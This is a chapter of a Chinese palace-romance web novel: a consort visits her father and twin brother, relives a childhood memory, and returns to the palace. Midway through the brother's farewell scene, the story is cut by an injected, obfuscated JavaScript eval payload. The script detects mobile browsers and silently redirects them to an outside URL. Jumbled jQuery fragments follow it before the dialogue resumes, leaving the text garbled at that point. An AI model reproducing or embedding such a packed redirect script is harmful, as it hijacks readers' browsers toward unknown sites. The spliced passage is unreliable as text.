93. 用双生感应完成任务

作品:《他们的万人迷黑月光从冷宫出来了

    周拟秋长相偏冷,苍白的肤色衬得眉眼如墨,面无表情时,看人都仿佛隔了层冰。


    我绕过周越把他从地上扶起来,他捂住侧腰“嘶”了一声,头微微歪着,差一线距离就能靠到我的肩上,他眼神热切得像小狗,又掺着些委屈,淡色的唇向两侧上扬。


    “妹妹……”


    我瞪他,“腿是用来干什么的,他打你,你就不会赶紧跑吗?”


    “那他会追着我打。”他像是拉伸到了痛处,皱着眉攥住了我的衣服,模样可怜,“我要是跑的话,爹会跟疯牛一样追在后头,我跑不过他。”


    周越,“。”


    你真是没一顿是白挨的。


    我:“小时候跑不过他就算了,现在还跑不过,真是笨死了……”


    我的话音戛然而止,眼前突然浮现出一段模糊的画面。


    “妹妹,等等我——”


    我僵硬地扭着脖子回头看。


    十岁出头的小男孩满头大汗地跑在我身后,他穿着与我同样制式衣裳,带着一模一样的项圈,马尾在脑后一甩一甩。


    他长相与我极其相似,神态却大不一样。


    在我的视角,格外高大威猛的周越追在他身后,周越呲牙咧嘴,宛若凶兽。


    “小兔崽子,竟然敢带着妹妹偷我的钱袋子,今天我非打死你不可!”


    小男孩,或者说年幼的周拟秋,他顿时惊恐万状,喘气声变粗,脚步也越来越沉重,与周越之间的距离不断缩短。


    “笨蛋,跑快点啊!”


    他既担心被后头的人追上,又担心我抛弃他直接跑了,本来就又惊又怕,一听这话,差点哭出来。


    “我、我跑不动了……”


    “我”不耐烦地啧了一声,折到他身边拉着他往前跑,他掌心里全是冰冷的汗,相握的手几次打滑。


    “爹,别再追了,小心我把你藏私房钱的事告诉娘!”


    周越:“你要买什么跟爹说,闺女,爹去给你买,外头太危险了,你可不敢自己往外跑啊!”


    被妹妹牵住手的周拟秋高兴了,他一边喘粗气,一边逮着功夫回周越的话。


    “别担心爹,还有我呢,我陪着妹妹。”


    周越冷笑,“等我抓住你,你就知道该担心谁了!”


    我和周拟秋都不听他的,两个人拼命朝着大门跑。


    “站住!不准再跑了,周妧——”


    他的暴喝声响在身后,但是我们的脚还是跨过了门槛,一溜烟跑进了熙攘的街道,消失在他的眼皮子底下。


    周越无头苍蝇般地在街上找人。


    我躲在小巷里的一个破烂推车后看他。


    “妹妹……”


    我猛地用手捂住周拟秋的嘴,他抬起眼看我。


    他眼皮很薄,既显得薄情,又显得无辜。


    周越的身影闪现在巷口,走进来了几步,漆黑的影子被拉得老长。


    周拟秋眨眼的速度变快,他屏住呼吸,吓得贴在了我身上。


    我捂着他嘴的手还没有拿下来,见状像捏气球一样捏了下他的脸,用口型说:“胆小鬼!”


    周越没看见人,很快就大步流星地离开了。


    等彻底听不到他的脚步声后,我松开了周拟秋,他靠着墙滑坐在地上,脸上写着“劫后余生”四个字。


    “吓死我了……”


    我朝他伸手,他把自己的手放了上来,被我一把拍掉。


    我翻了个白眼,“钱呢?”


    “哦。”他掏出藏在内兜的钱袋子,“在这儿。”


    “妹妹,咱要这钱干什么啊?”


    “其实吧,我是想吃街东头的糖糕了。”我挑出最小的一块碎银子递到他手里,“你去给我买吧。”


    他沉默了很久,看着丝毫没有缩小,依旧鼓鼓囊囊的钱袋子。


    “……那你呢?”


    我道:“我去学琴。”


    他噘着嘴,不依不饶,“你什么时候喜欢这些东西了,就算想学琴,让娘给你请个老师不好吗,干嘛非得跑出来。”


    我懒得理他,抬脚就要走。


    他挡在我前面拦着我,“肯定不是学琴,你到底要去干什么?”


    我停下脚步,抱着手臂冷眼看他。


    “乔家的半江红里新来了个美貌乐师,我就是去看他的。”


    “半……那不是寻欢作乐的风月场吗?不可能!”他难以接受,“你一个小孩子,他们是不会放你进去的。”


    我像看傻子似的看了他一眼,“都说了那是乔家的。”


    周拟秋提高音量,“我就知道那个姓乔的小子不是什么好东西!他竟敢带你去那种腌臢地,你可是个姑娘啊,万一出点什么事儿,他们乔家负得起责任吗?”


    “我不许你去,也再不许你跟乔云州玩了!”


    我哼笑了声,没把他放在眼里,“凭什么。”


    他:“就凭我是你哥哥。”


    我的食指戳在他肩膀上,欲把他推开,“少管我的事。”


    他握住我的手腕,脸上布满怒气,“我说了,不许你去。”


    我打量他的脸庞,目光缓缓停留在他的手上,“松手。”


    他态度坚决,“你不能去!”


    我在他的注视之下,硬生生把他的手拽了下来,他虽然用力与我僵持,握在我手腕上的力气却不大,而我在拽他的过程中指甲不小心刮破了他的皮。


    这种不经意的猛劲儿有时候比故意的还要狠得多。


    我搓了搓手指,甲缝里有湿润的粘腻。


    周拟秋的手腕上方出现了两三寸长的血痕,正往外渗着血珠。


    他气得直喘粗气,身板挺得笔直,也不去看伤口,就盯着我,眼角有水色的光。


    就这么僵持了一会儿,他转身离开。


    “再也不理你了。”


    我举起那根粘腻的手指嗅了一下,然后机械地蹭在衣服上。


    一下又一下。


    直到再也闻不到铁锈味。


    霞光万道,西沉的太阳将苍穹和大地染成赤金色。


    我从半江红不为人知的小门出来,眯着眼站在街边欣赏落日,嘴里哼着段不知名的旋律。


    在回周府的路上,一道若有若无的视线不时落在我的背后,缠得我愈发不耐烦。


    我回过头去看。


    周拟秋就跟在我身后,保持着二十米的间隔。


    我停下,他就也不往前走了。


    我站在原地望着他,像是等待。


    他停了片刻后,不太自然地走到了我身旁,把一包东西塞进我的手里。


    我剥开层层油纸,里面包的正是几个糖糕。


    周拟秋稚嫩青涩的面容藏不住什么情绪,还生着闷气。


    “那个乐师好看吗?”


    我咬了口糖糕,唇齿都是蜜的香甜,沉醉道:“他奏琴时简直比天上的仙人还要好看。”


    “你的眼光真差劲。”周拟秋唇角挂着冷笑,他别开脸,眼神扫过别处,“就那个弱不禁风的小白脸,我可不觉得他有什么好看的。”


    “你见过他?”我嘴里的东西都没咽,惊讶地睁大了眼,“你也进半江红了,你是怎么进去的?”


    他下颌微扬,得意道:“你都能进,那我自然有我的办法。”


    听到他说这话,我心里踏实了,将糖糕咽了下去。


    “你不会用了将军府的牌子吧。”


    他愣住了,“你怎么知道?”


    我露出一个莫测的微笑,“傻子都能猜出来,不过你有没有想过,用了将军府的腰牌,你去半江红的消息很快就会传到咱爹那里。”


    周拟秋,“!”


    “不然我为什么要让你偷钱而不是用将军府的名头。”我道,“你信心十足地自报家门应该是因为有后手,而不是没想到这一层吧。”


    他可怜巴巴地看着我,“……你会救我的对吗?”


    我道:“你吃过糖饼了吗?”


    他摇了摇头。


    我把糖饼举到他嘴边,他就着我的手咬了一口,牙印与我的交叠。


    我拉着他坐到了凉亭里的石凳上,卷起他的袖子,在伤口上撒了层药粉。


    他:“这药是哪儿来的?”


    我道:“找乐师拿的,他练琴时偶尔会弄伤手,涂了这个药好得特别快。”


    周拟秋往后撤手,被我强行按住,用帕子包扎好。


    “先说好,半江红这事我可以保护你,但是我有个条件。”


    他神色淡淡,还在为我给他用了乐师的药而不高兴,“什么?”


    我翘起小拇指,“我不让爹罚你,你忘了今天我们吵架的事,以及……”我的眼神瞥向他胳膊上的抓痕,“这个。”


    周拟秋故作恼怒地低下头,其实抿着唇偷偷笑了。


    他也伸出小拇指勾住我的,“知道了,坏妹妹。”


    “妹妹!妹妹!”


    我从画面中剥离,看向周拟秋,“……怎么了?”


    他道:“你在想什么,刚才一直发呆。”


    我:“没什么,想起了点以前的事。”


    周越往外看了一眼,江惟正在院子里等着我。


    “小妧,是陛下放你出来的吗?”


    我点了点头,“陛下怕我想你们,让我出宫与你们见一面。”


    他叹了口气,忍着内心的酸楚挤出一个笑,“陛下能顾及你的感受,你在宫里过得好,爹就放心了。”


    “今天爹下厨,吃完这顿饭你再回去”


    我无所适从,只尴尬地站着,“别忙活了,天黑前我还得赶回去,在这儿待不了多久。”


    “你啊,从小就爱吃爹做的饭。”


    他拍了拍我的肩,看我的眼神里尽是不加掩饰的慈爱,“等着吧,用不了多久的。”


    周越出去后,屋子里只剩了我和周拟秋。


    他倒了杯茶放到我面前,淡淡道:“上次见你没来得及问,陛下对你怎么样?”


    我的视线投到茶杯水面的倒影,细细端详与周拟秋想象的五官。


    血亲的事实摆在了最容易被大家看到了地方。


    当我看向他时,感觉到的不仅仅是血脉相连,还有血脉之下更深的回响。


    “挺好的,倒是你,也老大不小了,有喜欢的姑娘没?”


    周拟秋呼吸一滞,他冷冷地看着我,拿回给我倒的茶,一饮而尽。


    我的脸上先是茫然,而后是愤怒。


    “你是快要渴死连重新倒一杯都来不及了吗?干嘛要抢我的!再给我倒一杯!”


    他趴在桌子上不搭理我。


    我气呼呼地道:“行,有本事你就一直别跟我说话。”


    周越不愧是行军打仗的人,就连做饭的速度都很快。


    没多久,他就端着两盘饺子回来,最多的那盘给了我,然后另外一盘给了周拟秋。


    给周拟秋的时候他明显没多少耐心,不知道是对同样身为男人周拟秋却坐在这里等着吃现成的表达不忿,还是看见周拟秋趴在桌子上自闭的死狗样就来了气。


    总之,那盘饺子是甩过去的,滑了大半个圆桌停到周拟秋面前,像是忍受不了长途颠簸,自己先吐了半盘。


    周拟秋看着撒出来的半盘饺子,拿筷子的手一顿,额角青筋直跳。


    “……刚煮出来的饺子太烫了,这样正好凉的快。”


    我干笑了两声打圆场。


    周越连眼皮都没抬,“你妹好不容易才回来,别拉着个死人脸,能吃就吃,不能吃就滚。”


    我用干净的筷子把撒出来的拨回盘子,又把自己面前那盘好的换给了他。


    周越怒气冲冲地站了起来,“我真是惯得你……”


    我拉住了他,“哪个不都是吃,桌子又不脏,都一样的。”


    周越道:“这盘留给爹吃,爹再去给你煮新的。”


    “不用了。”


    我拿起筷子正准备开吃,周拟秋把两盘饺子换了个位置,没等大家做出反应他就吃了起来。


    我挨着他小声道:“别生气了,没喜欢的姑娘就没喜欢的姑娘呗,自己一个人也挺好,你高兴就好,要是爹他们催你成亲,我站在你这边替你说话。”


    垂落的碎发挡住他的眼,我勉强听清了他刻意压低的声音,听不出里面的情绪。


    “我不是因为这个生气,我只是……因为你说这个才生气。”


    小孩子脾气,就知道针对我一个人。


    “好好好,那我以后不说了。”我夹起一个饺子放进他的碗里,轻轻撞了下他的肩。


    周越看着我们打闹,眼里荡开了笑意,“别说悄悄话了,赶紧吃饭,肉馅的饺子凉了可就不好吃了。”


    我:“爹,陛下不是早就传信跟你说我安全了吗,你怎么还是赶来了晟州。”


    他道:“我想留在这儿过年。”


    我垂眸看着碗里的饺子,饺子绕着筷子打滑,好半天才夹起来一个,还碎了。


    “……过年讲的就是一个团圆,晟州人生地不熟的,在这儿过年有什么好。”


    周越也看到了那个被夹烂的饺子,笑得有些苦涩,“你姐和你都嫁人后,咱家过年就没法团圆了,要是都在京城我和你娘心里还能好受点,今年你头一次跑到离家这么远的地方过年,爹还被关在牢里就算了,既然出来了,哪能不过来陪着。”


    我果然不适合这种话题,每次都得停顿好久才知道该说什么。


    “什么陪不陪的,过年我得陪着陛下一起。”


    “那有什么。”周越不当回事似的,大手一挥,“你陪着陛下,爹陪着你。”


    我看了周拟秋一眼,“他呢,你怎么还让他过来了。”


    提起这件事,周越脸上露出了嫌弃的表情。


    “我可没让他来,让他跟着还不如我一个人呢。”


    “是他死死地抱着腿,说什么都不撒手,非要跟我一起走。”


    我惊道:“他抱着你的腿你就带上了他?爹,我居然没发现你还有这么宽容仁慈的一面。”


    “……他是抱着马的腿。”现在想起那一幕,周越都恨不得抽死他,“他要是敢抱我的腿,我早就一脚踹飞他了。”


    周拟秋道:“你还好意思说呢,妹妹你都不知道,爹在路上连口肉都不给我吃,就让我吃那个又干又硬的饼,吃得我都胃疼。”


    周越一拍桌子,他立马埋头继续认真地吃饺子。


    像是无事发生。


    我问周越,“肉你自己全吃了?赶路多辛苦啊,你一点都没给二哥留?!”


    周越苦口婆心,“他今天敢吃肉,明天就敢吃人。”


    我,“……”


    周越又道:“主要是我们为了赶路快没走闹市,带的肉又不多。”


    我微笑,“下次别管带多少,给他吃一口好吗。”


    吃完周越包的饺子我就该走了,他们一路把我送到大门外,江惟已经在马车前坐好等着我了。


    周越道:“周家不用你操心,先顾好自己,不用想其他的。”


    周拟秋张开双臂,像是想抱我,被周越给揪了回去。


    “你做事之前能不能先动


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456374|182021||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    动脑子,算我求你了!”周越小声地训斥他,“这可是在大街上,马车上的还是皇家侍卫,你是生怕干蠢事没现成的观众,还是生怕你妹妹没给有心之人留下把柄!”


    周拟秋推开他的手,胸口剧烈起伏。


    “她先是我妹妹,才是陛下的妃子!现在我连抱一下自己的妹妹都不可以了吗?”


    周越指着大门,“给我滚回去!马上!”


    见他不动,周越狠狠推了他一把,“滚——”


    “好了。”我头疼地挡在他们俩中间,“你先回去吧爹,我跟二哥说几句话。”


    周越:“可是……”


    我打断他,“我有分寸。”


    周越剜了周拟秋一眼,压抑着眼神里的暴怒。


    他自然是不肯回去的,只是转了个身,走远了两步。


    我拥住周拟秋,他身体一僵,然后使劲回抱了我。


    他与小时候截然不同,比我高出去了许多,变得又壮又结实。


    唯有那颗贴着我跳动的心依旧。


    我从他身上嗅到了自己的味道,连同在身体里流动的血,都是一模一样的味道。


    如果没有阻隔,它们本该汇聚在一起,彼此融合,彼此吞没。


    我能精准感受到他胸骨下那团张缩的桃形血肉,究竟是因为他的心跳太剧烈,还是因为——


    我们拥有的就是同一颗心脏。


    周拟秋轻笑,“你的心跳得好快,跟敲鼓一样。”


    我道:“瞎说,是你的吧。”


    “爹以为你还活着就是没事了,但是我知道你在什么时候濒临了死亡,有一天甚至出现了两次。”


    他忽然看着我说道。


    “那是一种强烈的感觉,我被无数阴影包围,一动都动不了,心跳越来越慢,可怕的孤独感源源不断地灌进我的身体,我却觉得自己越来越轻,像是被强行从某个相连的地方撕开。”


    “当时我就猜到是你出事了。”


    我退出他的怀抱问他时间。


    他说了个日期,正好是我在蒲四平宅子里的那天。


    ……这也算一种感应吧。


    在这个不属于我的世界里,还能有个可以感应到我生死的人。


    我坐上马车,掀开了窗帘,周拟秋的半个身子浸在了余晖中,他扬着脸看我。


    我挥手,“回去吧。”


    他的神情正如此时此刻的余晖,灿烂的余温下是孤寂的寒夜。


    “我看着你走。”


    车轱辘压在地上,不知是否因为总是沾染分别,那声音格外刺耳。


    周拟秋的身影越来越小,我放下了帘子。


    等一下。


    我怎么感觉自己好像忘了什么事啊?


    周越等啊等,心里默默盘算着哪天陛下设宴能再看闺女一眼,一转身发现门前就只剩了还在遥望的周拟秋。


    他懵了,“……你妹妹呢?”


    周拟秋指了指快要跑没影的马车,“那里头呢。”


    周越身子晃了晃,他提起脚去追马车,一边追一边喊,“闺女——你还没跟爹道别呢——你怎么把爹忘了呀——”


    他跑了没几步,马车一个拐弯就不见了。


    街上过路的人纷纷停下来看他。


    周拟秋慢悠悠地道:“行了爹,妹妹早就走远了,您在这儿除了给别人添点茶余饭后的笑料,也没别的用了。”


    “赶紧回来吧,太丢人了,我就是想扶您都不好意思走过去。”


    周越狞笑着回头,“混帐东西……”


    周拟秋,“!!”


    我打了个冷颤,怎么走前忘了跟周越说一声了,周拟秋现在还好吧,周越应该不会为这点小事就责怪他吧。


    “娘娘心情不错,是因为见到家人了吗?”


    在外驾车的江惟道。


    我:“你为什么会觉得我心情不错。”


    他答道:“您上车的时候,笑得很真心实意。


    我嘁了一声,无聊地摆弄帘子上缀着的流苏,随便问道:“你们多久能见一次家人。”


    他道:“我没有家人,我是孤儿。”


    我手上的动作一顿,“那你怎么当上陛下的暗卫的?”


    他声音平淡,既不伤心也不失落。


    “我是五六岁那年被陛下在路上捡到的,那会儿陛下还是太子,我就被带回了东宫。”


    “陛下命人请了先生教我读书识字,但我总是在课上睡觉,陛下就让先生打我手板,可是手都打肿了,人还没醒呢,陛下就重新安排了我的读书时间,能短则短,不求学会经义,只求把字认全。”


    “后来武师傅说我的根骨好,是天生习武的那块料,陛下就让我加入了玄月门,改姓了江。”


    我道:“江十九和江二十都是你手下的人吗?”


    他语气不太确定,“……应该是吧。”


    我抓住了漏洞,“为什么是应该?”


    “听名字是,我平时执行的任务跟他们不太一样,虽然他们算作归我管,但是我也不太认识他们。”


    我道:“那你怎么给他们分配任务?”


    江惟:“其实我分不分也无所谓,玄月门里有专门给大家分配任务的一批人。”


    我:“也就是说,实际上你们都互不认识。”


    “他们可能都认识我。”他纠正道,“我也不是谁都不认识,玄月门里也有我认识的人。”


    我眼睛一亮,“稀奇,你还能有认识的人,你认识谁啊?”


    江惟道:“冷八大人。”


    我,“……”


    就认识最大的领导呗。


    小小年纪就拿捏住了最顶的人际关系,也不怕晚上被前途亮得睡不着。


    “难为你了。”隔了很久我又道,“你现在能认识多少字了?”


    按他的脑容量,不会十个手指头都数得过来吧。


    他答道:“日常会用到的差不多都认识了。”


    我在身上翻出了一张字条,还是去浮光一阙前为了哄乔云州准备的。


    我把字条递给外头的江惟,“那你给我念一下这上面的字。”


    江惟找了个间隙,瞄了眼纸条,“宝见,我受你一靠子。”


    我看着纸条上“宝贝,我爱你一辈子”这几个字陷入了沉思。


    这是文盲吧,我爷爷认识的字都比他多。


    ……算了,至少念对了一多半。


    可能这几个字对他来说实在太不日常了。


    “道路千万条,安全第一条,你还是专心驾车吧。”


    回到兰昹行宫,天已经黑得差不多了。


    我走向主殿,路上不知道打了几个哈欠,刚到祈明殿外,碰到了正要从里面出来的一群人。


    “谁这么没礼数,差点儿冲撞了贵妃娘娘!”


    我看着站在我面前的宫女,好奇道:“你是贵妃?”


    宫女凶狠地瞪着我,正要开骂,从她身后走出了一个光彩夺目的女人。


    一时间,璀璨耀眼的宫灯仿佛都暗了下去。


    织金长裙逶迤在地,点缀着一条条细小的宝石,垂落的手腕上套着几个上好的紫翡玉镯,满头珠翠,凤簪上缀下的珊瑚垂在鬓边。


    她长相娇媚,风情万种,眼波流转间带着傲气。


    此刻她通红的美目里含着火气。


    我猜她是贵妃,至于为什么用“猜”。


    当然是因为严谨。


    我还没等到她自我介绍,李居怀就走到她身旁说道:“娘娘,陛下让奴婢来提醒您,看看这里是什么地方。”